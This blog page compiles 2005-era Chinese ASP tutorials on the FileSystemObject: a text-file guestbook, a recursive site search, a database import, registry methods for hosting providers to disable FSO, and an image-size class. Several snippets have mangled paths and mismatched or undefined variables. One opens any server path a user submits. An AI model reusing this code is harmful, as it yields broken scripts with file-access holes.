当然这并不能从技术上降低正规表达式的复杂性,但可以使它们更容易阅读。

 

参考文献:
JScript 和 VBScript 正则表达式

微软MSDN上的例子(英文):

Scanning for HREFS
Provides an example that searches an input string and prints out all the href="..." values and their locations in the string.
Changing Date Formats
Provides an example that replaces dates of the form mm/dd/yy with dates of the form dd-mm-yy.
Extracting URL Information
Provides an example that extracts a protocol and port number from a string containing a URL. For example, "http://www.contoso.com:8080/letters/readme.html" returns "http:8080".
Cleaning an Input String
provides an example that strips invalid non-alphanumeric characters from a string.
Confirming Valid E-Mail Format
Provides an example that you can use to verify that a string is in valid e-mail format.

 


最后更新:2005年01月17日 19:54
版权声明:使用创作公用版权协议

引用地址:<a href="http://oo8h.51.net/docs/regular_expression.htm">正则表达式(regular expression)</a>

posted @ 2005-07-06 14:59 一天一点爱恋 阅读(115) | 评论 (0)编辑 收藏
 
 Despite the tons of examples and docs, mod_rewrite is voodoo. Damned cool voodoo, but still voodoo. ''

                                                                                                        -- Brian Moore

look to the master, follow the master, walk with the master, see through the master, become the master.


个性需要打造,牛逼需要证明。

posted @ 2005-07-06 10:30 一天一点爱恋 阅读(164) | 评论 (0)编辑 收藏
 
 在ASP中,FSO的意思是File System Object,即文件系统对象。

   我们将要操纵的计算机文件系统,在这里是指位于web服务器之上。所以,确认你对此拥有合适的权限。理想情况下,你可以在自己的机器上建立一个web服务器,这样就能方便地进行测试。如果运行于Windows平台,请试一试微软公司的免费个人Web服务器PWS。

   FSO 模型对象
Drive Object:驱动器对象 供存取磁盘或者网络驱动器
FileSystemObject Object:文件系统对象 供存取计算机的文件系统
Folder Object:文件夹对象 供存取文件夹的所有属性
TextStream Object:文本流对象 供存取文件内容

   你可以使用上面的对象做计算机上的任何事情,也包括破坏活动 ;-( 所以,请小心使用FSO。在web环境中,存储信息是非常重要的,比如用户信息,日志文件,等等。FSO提供了一个强大且简单的方法高效率地保存数据。在这篇文章里面,着重讨论FileSystemObject和TextStream对象。

   FSO由微软公司提供支持,对于非Windows系统,大概不能再使用ASP。

   怎么样使用FSO?

   为了使用FSO来执行所有的工作,首先要创建对象,代码就象下面这样:

   < %
Set fso = Server.CreateObject("Scripting.FileSystemObject")
% >

   这样就建立了FSO并且赋予变量fso,接着就可以使用熟悉的object.method语法来执行文件系统的操作〔查看Visual Basic文档,获取更多的关于对象和对象向导编程的知识〕。在这里,我们可以使用fso.method 或者 fso.property,这些将在下面的例子中看到。

   FSO模型位于由微软提供的脚本运行时间DLL文件中,它是scrrun.dll。你可以在任何应用程序中引用这个DLL文件,比如MS Access,Word。 就是说,并非仅仅限制在ASP中应用它。

   这里有一个简要的FSO方法列表:

   FSO方法
CopyFile 拷贝一个或者多个文件到新路径
CreateTextFile 创建文件并且返回一个TextStream对象
DeleteFile 删除一个文件
OpenTextFile 打开文件并且返回TextStream对象,以便读取或者追加

   如果想了解完整的FSO方法与属性,请查阅微软MSDN。下面来看几个例子。

   假设你想创建一个简单的留言簿,你可以建立一个数据库,在其中存储用户的信息。然而,如果并不需要数据库的强大功能,使用FSO来存储信息将节省你的时间和金钱。并且,一些ISP也许限制了web上的数据库应用。

   假设你在一个表单中收集了一些用户信息,这里是一个简单表单HTML代码:

< html>
< body>

< form action="formhandler.asp" method="post">
< input type="text" size="10" name="username">
< input type="text" size="10" name="homepage">
< input type="text" size="10" name="Email">
< /form>
< /body>
< /html>

   再看看formhandler.asp中处理表单的代码:

< %
' Get form info
strName = Request.Form("username")
strHomePage = Request.Form("homepage")
strEmail = Request.Form("Email")

' create the fso object
Set fso = Server.CreateObject("Scripting.FileSystemObject")

   迄今为止,还没有新鲜的东西,无非是获取表单域的值并且赋值到变量。下面出现了有趣的部分 - 写文件:

path = "c: emp est.txt"
ForReading = 1, ForWriting = 2, ForAppending = 3

' open the file
set file = fso.opentextfile(path, ForAppending, TRUE)

' write the info to the file
file.write(strName) & vbcrlf
file.write(strHomePage) & vbcrlf
file.write(strEmail) & vbcrlf

' close and clean up
file.close
set file = nothing
set fso = nothing

   回想一下,OpenTextFile方法返回一个TextStream对象,它是FSO模型中的另外一个对象。TextStream对象揭示了操作文件内容的方法,比如写、读一行、跳过一行。VB常量vbcrlf产生一个换行符。

   在OpentextFile的命令参数中定义了TRUE,这就告诉了系统,如果文件不存在,就创建它。如果文件不存在,并且没有定义TRUE参数,就会出错。

   现在转到目录c: emp,打开test.txt,你可以看到如下的信息:

User's name
User's home page
User's email

   当然,这些单词可以被输入在表单中的任何内容所替换。

   现在已经有了一些用户信息保存在文件中,就像一个简单的数据库。假设有一个用户想了解所有的访问者,就要从登
记的信息中分离出相关部分,因为没有象数据库一样拥有结构化的列。

   我们知道,在所创建的文件中,第1行是用户名,第2行是他们的主页,第3行是他们的电子邮件地址。随后登记的用
户也是按照这样的结构存储他们的信息,所以每3行将包含一个用户的登记信息。知道了这些,就可以编写下面的代码来显
示信息:

< %
' create the fso object
set fso = Server.Createobject("Scripting.FileSystemObject")
path = "c: emp est.txt"

' open the file
set file = fso.opentextfile(path, 1) < -- For
reading

   接着,分析每一行,并且格式化数据:

do until file.AtEndOfStream
Response.write("Name: " & file.ReadLine & " ")
Response.write("Home Page: " & file.ReadLine & " ")
Response.write("Email: " & file.ReadLine & "< p>")
loop

' close and clean up
file.close
set file = nothing
set fso = nothing
%>

   这里仅仅做了一个非常简单的输出,但是你可以根据情况包含表格或者DHTML表单信息。

   如果已经正确地建立并写入了文件,上面的小小循环将合适地列出数据库中的每一个人的信息。ReadLine方法读取1
行内容,直到遇到换行符,随后的ReadLine调用将读取下一行。AtEndOfStream是TextStream对象的属性,它告诉我们何时
遇到文件的尾部。

   假设由于某种原因,我们没有正确地形成文件,如果一个用户只有2行信息而不是3行,那么就会产生一些错误。我们
这里的循环取回文件中的下3行信息,如果没有3行多的信息,就将出现如下的错误信息:

   Server object error 'ASP 0177 : 800a003e'

   所以,一定要添加一些错误处理代码,以防文件中插入了多余的行或者少了必要的行信息。

   上面讨论了基本知识,然后说说权限许可的问题。FSO以创建它的用户帐户权限运行,换言之,如果有人从Internet
上访问你的页面,那么这个internet帐户就创建FSO。如果以administrator的身份登录计算机,并且登录页面,那么
administrator帐户就创建了FSO。这是非常重要的,因为一定的帐户拥有一定的权限,并且FSO需要一些权限从而能完整的
执行功能。

   internet帐户(IUSER_MachineName,MachineName是服务器的名字)一般只拥有读权限,这意味着用户将不能写入留
言簿文件。然而,有几个选择可以绕过这个问题。

   首先,也是很困难的,是要求用户在填写留言簿前登录到服务器。然而,留言簿的要点是从匿名用户处收集信息,如
果要求用户登录,就必须要知道他们是谁。因此,跳过这个选择,看下一个。

   第2个方法是创建一个目录或者文件,IUSER_MachineName用户对此有写权限。这样做可能开放了一些潜在的安全漏
洞,因为任何知道正确目录并具备一定web技巧的人就能在服务器上填充内容。这是一个很严重的禁忌。所以你必须确认在
隐藏的场所保存了这些可写目录的信息,并且尽可能地将这些目录设置在web目录结构以外(比如在Windows下,这是一个
不在inetpub目录下的一个目录)。

   你也许想:好,现在我知道如何写入文件了。但能做到更多一些吗?下面来试一试为web站点建立一个搜索功能。

   建立搜索引擎的关键是递归。主要地,编写一段代码搜索目录下的文件,然后对所有的目录循环执行同样的代码。因
为不能确定总共有多少个子目录,所以必须一遍又一遍地执行搜索代码,直到结束。递归调用非常好!

   下面来创建搜索页面。假设已经建立了一个HTML表单,用户在其中输入一个搜索字符串。

Dim objFolder
Dim strSearchText
Dim objFSO

strSearchText = Request.Form("SearchText") < -- The search string
' create the FSO and Folder objects
Set fso = Server.CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(Server.MapPath("/"))

Search objFolder

   上面的代码简单地初始化变量,Search函数执行搜索功能,描述如下:

 

Function Search(objFolder)

Dim objSubFolder

 

'loop through every file in the current
folder

For Each objFile in objFolder.Files

Set objTextStream = objFSO.OpenTextFile(objFile.Path,1) < -- For Reading

 

'read the file's contents into a
variable

strFileContents = objTextStream.ReadAll

 

'if the search string is in the file, then
write a link

' to the file

If InStr(1, strFileContents, strSearchText, 1) then

Response.Write "< A HREF=""/" & objFile.Name & _

""">" & objFile.Name & "< /A>< BR>"

 

bolFileFound = True

End If

 

objTextStream.Close

 

Next

 

'Here's the recursion part - for each

' subfolder in this directory, run the Search function again

For Each objSubFolder in objFolder.SubFolders

Search objSubFolder

Next

End Function

   为了能打开文件,FSO需要实际的文件路径,而不是web路径。比如,是c:inetpubwwwroot empindex.html, 而不是
www.enfused.com/temp/index.html 或者 /temp/index.html。 为了将后者转换为前者,使用Server.MapPath
("filename"), filename表示web路径名。

   上面的代码将在你指定的初始目录下的文件夹的每一个子目录中执行,在这里,初始目录是指web根目录“/”。然后
就简单地打开目录下的每一个文件,看看其中是否包含指定的字符串,如果找到字符串就显示那个文件的链接。

   注意,随着文件和子目录数量的增加,搜索花费的时间也将增加。如果需要繁重的搜索工作,建议你采取其他的方
法,比如微软公司的索引服务器Index Server。

   到此,你对FSO可能已经有了很好的体会。让我们再深入研究一步,来解决更复杂的难题。

   首先,你可能希望对文件改名。为了跟踪所有的文档,你将要重新命名它们以便唯一,这样就可以被系统容易地区
别。很不幸,FSO不允许简单的文件改名操作,所以我们不得不修改一下。

< %
' create the fso object
set fso = Server.Createobject("Scripting.FileSystemObject")
path = "c: emp est.txt"
strDate = Replace(Date(), "/", "")
strDir = "c:inetpubwwwrootarticles" & strDate
strNewFileName = Hour(Now) & "_" & Minute(Now) & "_" &
second(Now) & ".html"

' open the old file
set file = fso.opentextfile(path, 1) < -- For reading
strText = file.readall
set file = nothing

' check for and/or create folder
if not fso.folderexists(Server.MapPath(strDir)) then
set f = fso.CreateFolder(Server.MapPath(strDir))
else
set f = fso.GetFolder(Server.MapPath(strDir))
end if

' create and write new file
set file = fso.Createtextfile(f.path & "" & strNewFileName)
file.write(strText)
set f = nothing
file.close
set file = nothing

' delete the old file
fso.DeleteFile(path & "" & rst("FileName") & i)
' clean up
set fso = nothing
%>

   FSO能力的不足在这里却成了优势,我们可以一次执行2步。首先,打开文件并读入文件的内容。假设这里要创建一个
唯一的文件夹和一个唯一的文件来存储文章。然而,因为文件夹的路径每天都将改变,所以必须首先检查是否文件夹已经
存在,如果不存在,就创建它。这在if not fso.folderexists代码段完成。然后,取得那个路径,创建一个新的文件。新
文件建立完成后,删除掉旧文件,这通过fso.DeleteFile来完成。

   这2步就是:对文件改名,然后移动到一个更合适的目录下。注意,在这里还可以对文件进行更多地操作,比如在写
入新文件前进行一下内容的编辑。

   FSO确实存在一些弱点 - 比如,它很难处理二进制文件,这包括Word文档、许多图形格式的文件和其他一些文件。然而你仍然可以用其他的方式操作这些文件 - 移动它们、删除它们,等等。你不能做的就是对它们进行打开或者写操作。

   另外一个限制是对于文件长度的问题。当立刻读写一些内容时,所有的信息都存储在内存中 - 内容越多,消耗的内存就越大。这将使每个工作都变得慢起来。所以,如果需要操作非常大的文件,或者大量的小文件时,考虑将文件分割成小块,并且经常的清除内存。将应用程序融入进COM对象组件,也能大大地提高程序的速度。

   同样,你也不能使用FSO来管理权限以及文件、文件夹的属性,执行安全加密的一个很好方法就是将前面提到的留言簿文件设置为只读,在需要时再设置为可写,然后再修改回来。这个方法经常在CGI和Perl使用,但是很不幸,还没有令人满意的方法来用FSO实现。

   还能用FSO做什么?

   在FSO中还有许多很棒的功能,但许多人没有意识到。这些功能常常是在你感到做某些事情很难后才发现的,这时你经常要感叹到:要是我早知道这个方法就好了!

   下面列举一下这些不常用但是却非常酷的功能:

   很少被了解的FSO功能
GetSpecialFolder Method 返回特定的Windows文件夹的路径: Windows安装目录;Windows系统目录;Windows临时目录 FSO.GetSpecialFolder([0, 1, or 2])
GetTempName Method 返回一个随机产生的文件或者目录名字,用于需要存储临时数据时
GetAbsolutePathName Method 返回文件夹的绝对路径(类似于Server.MapPath)。
比如,FSO.GetAbsolutePathName("region") 将返回类似于下面的结果:"c:mydocsmyfolder egion"
GetExtensionName Method 返回路径中最后部分的扩展名
(比如:FSO.GetExtensionName("c:docs est.txt") 将返回txt)
GetBaseName and GetParentFolder Methods 返回路径中最后部分的父文件夹
(比如:FSO.GetParentFolder ("c:docsmydocs") 将返回'docs')
Drives Property 返回所有本地可用驱动器的集合,用于建立资源浏览器样的用户接口。

   使用上面的功能时,最好建立好出错处理的代码。因为如果需要的参数不存在,将会产生麻烦的信息。

   总结

   如我们所见,FSO非常有用,这里介绍的仅仅是冰山一角。你可以使用FSO建立功能强大的应用程序,简单地完成许多任务。

posted @ 2005-07-06 10:28 一天一点爱恋 阅读(121) | 评论 (0)编辑 收藏
 
在 ASP 程序中,我们需要对文件进行操作,常常会利用到 FSO 组件,而很多人对此不是很了解,所以想到开设这个专题,用来收集 FSO 相关的介绍资料。欢迎大家补充并进行讨论。

FileSystemObject 对象模型

QUOTE
FileSystemObject (FSO) 对象模型,允许对大量的属性、方法和事件,使用较熟悉的 object.method 语法,来处理文件夹和文件。

使用这个基于对象的工具和:

HTML 来创建 Web 页
Windows Scripting Host 来为 Microsoft Windows 创建批文件
Script Control 来对用其他语言开发的应用程序提供编辑脚本的能力
因为在客户端使用 FSO 而引起重要的安全性问题,提供潜在地不受欢迎的对客户端本地文件系统的访问,假定本文档使用 FSO 对象模型,来创建由服务器端的 Internet Web 页执行的脚本。因为使用了服务器端,Internet Explorer 默认安全设置不允许客户端使用 FileSystemObject 对象。覆盖那些默认值可能会引起在本地计算机上不受欢迎的对其文件系统的访问,从而导致文件系统完整性的全部破坏,同时引起数据遗失或更糟的情况。

FSO 对象模型使服务器端的应用程序能创建、改变、移动和删除文件夹,或探测特定的文件夹是否存在,若存在,还可以找出有关文件夹的信息,如名称、被创建或最后一次修改的日期,等等。

FSO 对象模型还使文件处理变得很容易。在处理文件时,主要的目标是以易于访问的格式把数据存储在有效的空间和资源中。这就要求能够创建文件,插入和改变数据,以及输出(读取)数据。因为把数据存储在数据库中,如 Access 或 SQL 服务器,会给应用程序增加很大的开销,所以把数据存储在二进制或文本文件中可能是最有效的解决方案。可能不希望有该开销,或者数据访问要求可能不需要与功能完备的数据库相关联的所有额外功能。

包含在 Scripting 类型库 (Scrrun.dll) 中的 FSO 对象模型,支持通过 TextStream 对象来创建和操作文本文件。虽然还不支持二进制文件的创建或操作,但计划将来要支持二进制文件。


摘自 Windows 脚本手册。

相关资料:
Windows 脚本手册 下载


--------------------
纯白色
云娜音乐
54ol.com 54ol.net h365.net 5icn.com 5itw.com 54zz.net uofan.com
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
不学无术
post Apr 3 2005, 05:43 AM
发表于: #2


论坛管理员
*********

用户组: 管理员
发表总数: 3,801
注册日期: 1-March 03
来自: 天地人间
会员编号: 24



三种禁用 File System Object 组件的方法

众所周知,FileSystemObject组件的强大功能及破坏性是它屡屡被免费主页提供商(那些支持ASP)的禁用的原因,我整理了一下,本来只找到两种方法,后来被某人一刺激,硬是想到第三种不为人所知的方法,呵呵,也不知道是不是这样的。

第一种:用 RegSrv32 /u C:\WINDOWS\SYSTEM\scrrun.dll (win98路径)来注销该组件。此方法过于狠毒,属于同归于尽的方法,大家都没得用,是下招。

第二种:修改 Progid 的值,在 ASP 里调用组件的方式通常是 Set 对象名 = Server.CreateObject("Progid"),这时候我们就可以通过修改注册表中的 Progid 值从达到禁用该组件的方法。在 开始-运行中敲入 regedit,然后找到 HKEY_CLASSES_ROOT\Scripting.FileSystemObject,这时候我们就可以更改该Progid的值了,如改成 Scripting.FileSystemObject8 。这样在ASP页里就这样调用了:
CODE

<%@ Language=Vbscript%>
<%
Set Fs=Server.CreateObject("Scripting.FileSystemObject8")
%>

(如果你前面没有调用过该组件的话,则无须重启,就可以看到效果了,否则请重启后看效果。)

这时候我们看看还是用原来的调用方法的结果:
CODE
<%@ Language=Vbscript%>
<%
Set Fs=Server.CreateObject("Scripting.FileSystemObject")
%>

这时候的运行结果为:
QUOTE
服务器对象 错误 'ASP 0177 : 800401f3'

Server.CreateObject 失败

/aspimage/testfile2.asp, 行3

800401f3

(OK,达到我们的要求)

该方法由于本人迟了两步,结果就让别人抢着回答了,这样极大的刺激了我,结果就产生了第三种方法。

第三种:细心的高手们会想,既然能通过修改Progid值来禁用该组件,那 Clsid 是否也可以来修改呢?(OK,你想得和我一样)我们知道,除了 CreateObject 方法以外,也可以使用一般的<object>标注建立一个组件,我们可以在ASP里面使用 HTM L的 <object> 标注,以便在网页中加入一个组件。方法是:
CODE
<object runat=server id=fs1 scope=page progid="Scripting.FileSystemObj
ect"></object>

Runat 表示是在服务端执行,Scope 表示组件的生命周期,可以选用Session, Application 或 page (表示当前页面,也可缺省)。

这种写法对我们没用,还有一种写法是:
CODE
<object runat=server id=fs1 scope=page classid="clsid:clsid的值"></object>

我们也可以通过修改该Clsid的值而禁用该组件,如将注册表中 HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID 的值 0D43FE01-F093-11CF-8940-00A0C9054228 改成 0D43FE01-F093-11CF-8940-00A0C9054229 (改了最后面一位),这时候的写法为:
CODE
<object runat=server id=fs1 scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054229"></object>

看运行结果,没问题,OK。这时候我们再用:
CODE
<object runat=server id=fs1 scope=page classid="clsid:0D43FE01-F093-11
CF-8940-00A0C9054228"></object>

这时候就出错了。

新建一用户:iusr_domain
IIS里设置对应站点的匿名用户 IUSR_DOMAIN
CACLS: 设置目录权限

这样FSO可用,但不会影响别人。

作者:未知
来源:http://www.7880.com/Info/Article-a1be400.html


--------------------
纯白色
云娜音乐
54ol.com 54ol.net h365.net 5icn.com 5itw.com 54zz.net uofan.com
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
不学无术
post Apr 3 2005, 06:08 AM
发表于: #3


论坛管理员
*********

用户组: 管理员
发表总数: 3,801
注册日期: 1-March 03
来自: 天地人间
会员编号: 24



使用 FSO 把文本信息导入数据库

在开发WEB应用程序中,我们经常需要对文件系统中的驱动器、文件夹和文件进行处理,比如收集驱动器的相关信息;创建、添加、移动或删除文件夹和文件等。在VB6中新提供了一套称为FSO(File System Object)对象模型来对文件系统进行访问处理。该模型提供了一个基于对象的工具,通过它所提供的一系列属性和方法,我们可以在应用程序中更简单、灵活地对文件系统进行各种操作。

一、FSO简介

  FSO 对象模型包含以下几种对象:

  Drive 对象:允许收集系统物理或通过 LAN 与系统逻辑连接的硬盘、CD-ROM 等驱动器的可用空间、共享名等信息。

  Folder 对象:允许创建、删除或移动文件夹,并向系统查询文件夹的名称、路径等。

  Files 对象:允许创建、删除或移动文件,并向系统查询文件的名称、路径等。

  TextStream 对象:允许创建和读写文本文件。

  FileSystemObject 对象:提供一整套用于驱动器、文件夹和文件操作的方法,在功能上可以把它看作是上面几个对象的集合并且经常与它们配合使用。与该对象相关联的很多方法重复了前面四个对象中的方法,因此我们既可以通过 FileSystemObject 对象来对驱动器、文件夹和文件进行大多数操作,也可以通过对应的驱动器、文件夹或文件对象对这些组件进行操作。FSO 模型通过两种方法实现对同一对象的操作,其操作效果是相同的,提供这种冗余功能的目的是为了实现最大的编程灵活性。

在这篇文章中,我们将讲解利用 FSO 对象模型的 TextStream 对象对文本文件的操作。

(一) 用 FileSystemObject 来获取文本文件对象

  1.创建一个 FileSystemObject 对象实例

要进行文件操作,首先必须创建一个 FileSystemObject 对象实例,用来创建或打开一个文件.创建一个 FileSystemObject 对象实例的具体格式为(以AFileSystemObject)为例:
CODE
Set AFileSystemObject = CreateObject("Scripting.FileSystemObjecct")


  2.用 FileSystemObject 来获取文本文件对象 TextStream

FileSystemObject 提供了两种方法用于获取文本文件对象 TextStream,其中用于创建文件的是 CreateTextFile,用于打开已存在文件的是 OpenTextFile,两种方法的返回结果都是一个 TextStream 对象的实例,利用该对象可以进行文件的具体操作。

⑴ 创建一个新文件

  创建新文件的方法的具体格式为(以AFileSystemObject为例):
  
CODE
AFilesystemObject.CreateTextFile(NewFileName, OverwriteExistingFile, IsUnicode)

其中:
  NewFileName 是一个string值,指定要建立的文件的名称,通常为文件的实际路径加文件名称,如 C:\webshare\aspsamp\filetest.txt 。

  OverwriteExistingFile 是一个Boolean值,表示如果有同名文件存在时是否覆盖原来的文件。该参数可以省略,缺省时为 False,即不覆盖原来文件。

  IsUnicode 是一个Boolean值,表示要建立的文件是ASCII文件还是Unicode文件,该参数可以省略,缺省时为 False,即为 ASCII 文件。

⑵ 打开已存在的文件

  打开已存在文件的方法的具体格式为(以AFileSystemObject为例):
  
CODE
AFilesystemObject.OpenTextFile(FileName, IOMode, create, format)

其中:
  FileName 是一个string值,指定要打开的文件的名称,通常为文件的实际路径加文件名称,C:\filepath\test.txt 。

  IOMode 是常数值,表示打开文件的目的,ForReading(1)表示用于读取数据;ForAppending 表示用于增加数据.该参数可以省略,缺省时为 ForReading。

  Create 是一个Boolean值,表示要打开的文件不存在时是否创建新文件,
该参数可以省略,缺省时为False,即不创建新文件。

  Format 表示文件打开的方式.其可能的值及含义如下:
TristateTrue:以 Unicode 的方式打开.
TristateFalse:以 ASCII 的方式打开.
TristateUseDefault:以系统默认的方式打开.

该参数可以省略,缺省时为 TristateFalse ,即ASCII方式。

(二).用 TextStream 进行文件操作

  在建立或打开了文件之后,就可利用对象 TextStream 提供的方法进行文件的实际操作了。

  1.用于写操作的方法有:

⑴ Write(string)
  将由 string 指定的字符串写入到文件中。

⑵ WriteLine(string)
  在文件中写入由 string 指定的字符串,并写入一个换行字符。
  参数string 可以省略,此时将在文件中插入一个空行。

⑶ WriteBlankLines(NumOfLines)
  在文件中插入若干空行,行数由 NumOfLines 指定。

  2.用于读操作的方法和属性方法有:

⑴ AtEndOfLine
  该属性是一个 Boolean 值,表示文件指针是否已指向当前行的行尾。

⑵ AtEndOfStream
  该属性是一个 Boolean 值,表示文件指针是否已指向文件尾。

⑶ Column
  该属性是一个整数值,表示文件指针在当前行中的位置。

⑷ Line
  该属性是一个整数值,表示文件指针所在行的行号。

⑸ Read(NumOfCharacters)
  该方法从文件当前位置开始,读入由NumOfCharacters数目指定的若干字符,返回一个字符串。

⑹ ReadLine
  该方法从文件当前位置开始,读入当前行的内容直到行尾,返回一个字符串。

⑺ ReadAll
  该方法从当前位置开始,读入整个文件的内容直到文件结束,返回一个字符串。

⑻ Skip(NumOfCharacters)
  该方法从文件当前位置开始,跳过由NumOfCharacters数目指定的若干字符。

⑼ SKipLine
  该方法从文件当前位置开始,跳过当前行的内容。

  3.用于关闭文件的方法有:

⑴ Close
  关闭已经建立或打开的文件。

(三)、下面就以一个实例来说明如何使用FSO来读取文本文件和如何保存到数据库:

1、 先创建一个读取文件路径的页面:file.htm
CODE

<FORM METHOD=POST ACTION="upFile.asp" >
       <div align="center"> <br>
       <br>
       <br>
       <br>
       <input type="file" name="path" size="40">
       <INPUT TYPE="submit" name="dr" value="导入信息">
       </div>
</FORM>


2、 编写把获取到的文本值保存到数据库代码:upFile.asp
CODE
<%@Language="VBScript"%>
<%Response.Buffer=true%>
<!--#include file="adovbs.inc"-->
<%
strConn = "DSN=DataSourceName"
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.open strConn
Set ObjComm = Server.CreateObject("ADODB.Command")
ObjComm.CommandText = "sp_AddMsg"         ‘调用存储过程
ObjComm.CommandType = adCmdStoredProc
Set ObjComm.ActiveConnection = Conn

''''''''''创建输入输出参数'''''''''''''''''
Set ObjParamECom=ObjComm.CreateParameter("WC_ECompanyName",adVarchar,adParamInput,100)
     ObjComm.Parameters.Append ObjParamECom
     '@in_ECompanyName      Varchar(50),                   --公司英文名称

Set ObjParamAddr=ObjComm.CreateParameter("WC_Address",adVarchar,adParamInput,200)
     ObjComm.Parameters.Append ObjParamAddr
     '@in_Address      Varchar(50),                   --公司地址

Set ObjParamCity=ObjComm.CreateParameter("WC_City",adVarchar,adParamInput,100)
     ObjComm.Parameters.Append ObjParamCity
     '@in_City     Varchar(50),                   --城市

''''''''''创建参数完毕''''''''''''''''''''
%>
<%
Dim AllText, strLine1, strLine2, strLine3
Dim strpath, fileurl

fileurl = ""

strpath=Trim(Request.form("path"))

fileurl=strpath

Set FSO = CreateObject("Scripting.FileSystemObject")

Set ATextStream = FSO.OpenTextFile(fileurl, 1, false, TristateFalse)

'''''''''提取数据''''''''''''''''''''''''''''
Do While Not ATextStream.AtEndOfStream

''''''初始化变量''''''''''''''''
strLine1 = ""
strLine2 = ""
strLine3 = ""

'''''''''''''''''''''''''''''''
  ATextStream.SkipLine
  ATextStream.Skip(11)
  strLine1 = Trim(ATextStream.ReadLine)
  ATextStream.Skip(11)
  strLine2 = Trim(ATextStream.ReadLine)
  ATextStream.Skip(5)
  strLine3 = Trim(ATextStream.ReadLine)
  …
'End if

''''''''''将变量加入参数集'''''''''''''
ObjParamECom.Value = strLine1
ObjParamCCom.Value = strLine2
ObjParamAddr.Value = strLine3


''''''''''操作结束''''''''''''''''''''

ObjComm.Execute() '运行命令

Loop

Response.Write("<br>" & "导入库成功!<a href=dolist.html>[继续导入]</a><br>")

Set Conn = Nothing
Set FSO = Nothing
Set ATextStream = Nothing
%>


附:存储过程sp_AddMsg代码
CODE
CREATE PROCEDURE dbo.sp_AddMsg                 --导入国外企业信息
(

  @in_CompanyName       Varchar(100),               --公司名称
  @in_Address          Varchar(200),                 --公司地址
  @in_City           Varchar(100),              --公司所在城市
  …
)
AS
SET NOCOUNT ON
      BEGIN TRAN
           INSERT INTO Tb_WCLibrary(
                            WC_CompanyName,
                            WC_CCompanyName,
                            WC_Address,
                            …
                               )
              VALUES(
                         @in_CompanyName,
                         @in_CCompanyName,
                         @in_Address,
                         …
                          )
IF @@ERROR <> 0
BEGIN
ROLLBACK TRAN
RETURN -1
END

COMMIT TRAN

RETURN 0

SET NOCOUNT OFF


至此,全文内容讲解结束,希望这篇文章能给读者带来一定的帮助。

作者:未知
来源:http://www.programfan.com/article/showarticle.asp?id=2328


--------------------
纯白色
云娜音乐
54ol.com 54ol.net h365.net 5icn.com 5itw.com 54zz.net uofan.com
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
不学无术
post Apr 3 2005, 06:19 AM
发表于: #4


论坛管理员
*********

用户组: 管理员
发表总数: 3,801
注册日期: 1-March 03
来自: 天地人间
会员编号: 24



ASP 中取得图片宽度和高度的类(无组件)

CODE
<%
Class ImgWHInfo '获取图片宽度和高度的类,支持JPG,GIF,PNG,BMP
   Dim ASO
   Private Sub Class_Initialize
       Set ASO = Server.CreateObject("ADODB.Stream")
       ASO.Mode = 3
       ASO.Type = 1
       ASO.Open
   End Sub
   Private Sub Class_Terminate
       Err.Clear
       Set ASO = Nothing
   End Sub

   Private Function Bin2Str(Bin)
       Dim I, Str
       For I=1 To LenB(Bin)
           clow = MidB(Bin, I, 1)
           If ASCB(clow) < 128 Then
               Str = Str & Chr(ASCB(clow))
           Else
               I = I+1
               If I <= LenB(Bin) Then Str = Str & Chr(ASCW(MidB(Bin, I, 1)&clow))
           End If
       Next
       Bin2Str = Str
   End Function
     
   Private Function Num2Str(Num, Base, Lens)
       Dim Ret
       Ret = ""
       While(Num >= Base)
           Ret = (Num Mod Base) & Ret
           Num = (Num - Num Mod Base) / Base
       Wend
       Num2Str = Right(String(Lens,"0") & Num & Ret,Lens)
   End Function
     
   Private Function Str2Num(Str, Base)
       Dim Ret, I
       Ret = 0
       For I=1 To Len(Str)
           Ret = Ret * base + Cint(Mid(Str, I, 1))
       Next
       Str2Num = Ret
   End Function
     
   Private Function BinVal(Bin)
       Dim Ret, I
       Ret = 0
       For I = LenB(Bin) To 1 Step -1
           Ret = Ret * 256 + AscB(MidB(Bin, I, 1))
       Next
       BinVal = Ret
   End Function
     
   Private Function BinVal2(Bin)
       Dim Ret, I
       Ret = 0
       For I = 1 To LenB(Bin)
           Ret = Ret * 256 + AscB(MidB(Bin, I, 1))
       Next
       BinVal2 = Ret
   End Function
     
   Private Function GetImageSize(filespec)
       Dim bFlag
       Dim Ret(3)
       ASO.LoadFromFile(filespec)
       bFlag = ASO.Read(3)
       Select Case Hex(binVal(bFlag))
       Case "4E5089":
           ASO.Read(15)
           ret(0) = "PNG"
           ret(1) = BinVal2(ASO.Read(2))
           ASO.Read(2)
           ret(2) = BinVal2(ASO.Read(2))
       Case "464947":
           ASO.read(3)
           ret(0) = "gif"
           ret(1) = BinVal(ASO.Read(2))
           ret(2) = BinVal(ASO.Read(2))
       Case "535746":
           ASO.read(5)
           binData = ASO.Read(1)
           sConv = Num2Str(ascb(binData), 2 , 8)
           nBits = Str2Num(left(sConv, 5), 2)
           sConv = mid(sConv, 6)
           While(len(sConv) < nBits * 4)
               binData = ASO.Read(1)
               sConv = sConv&Num2Str(AscB(binData), 2 , 8)
           Wend
           ret(0) = "SWF"
           ret(1) = Int(Abs(Str2Num(Mid(sConv, 1 * nBits+1, nBits), 2) - Str2Num(Mid(sConv, 0 * nBits + 1, nBits), 2)) / 20)
           ret(2) = Int(Abs(Str2Num(Mid(sConv, 3 * nBits + 1, nBits), 2) - Str2Num(Mid(sConv, 2 * nBits + 1, nBits), 2)) / 20)
       Case "FFD8FF":
           Do  
           Do : p1 = binVal(ASO.Read(1)) :  Loop While p1 = 255 And Not ASO.EOS
           If p1 > 191 And p1 < 196 Then Exit Do Else ASO.read(binval2(ASO.Read(2)) - 2)
           Do : p1 = binVal(ASO.Read(1)) : Loop While p1 < 255 And Not ASO.EOS
           Loop While True
           ASO.Read(3)
           ret(0) = "JPG"
           ret(2) = binval2(ASO.Read(2))
           ret(1) = binval2(ASO.Read(2))
       Case Else:
           If left(Bin2Str(bFlag), 2) = "BM" Then
               ASO.Read(15)
               ret(0) = "BMP"
               ret(1) = binval(ASO.Read(4))
               ret(2) = binval(ASO.Read(4))
           Else
               ret(0) = ""
           End If
       End Select
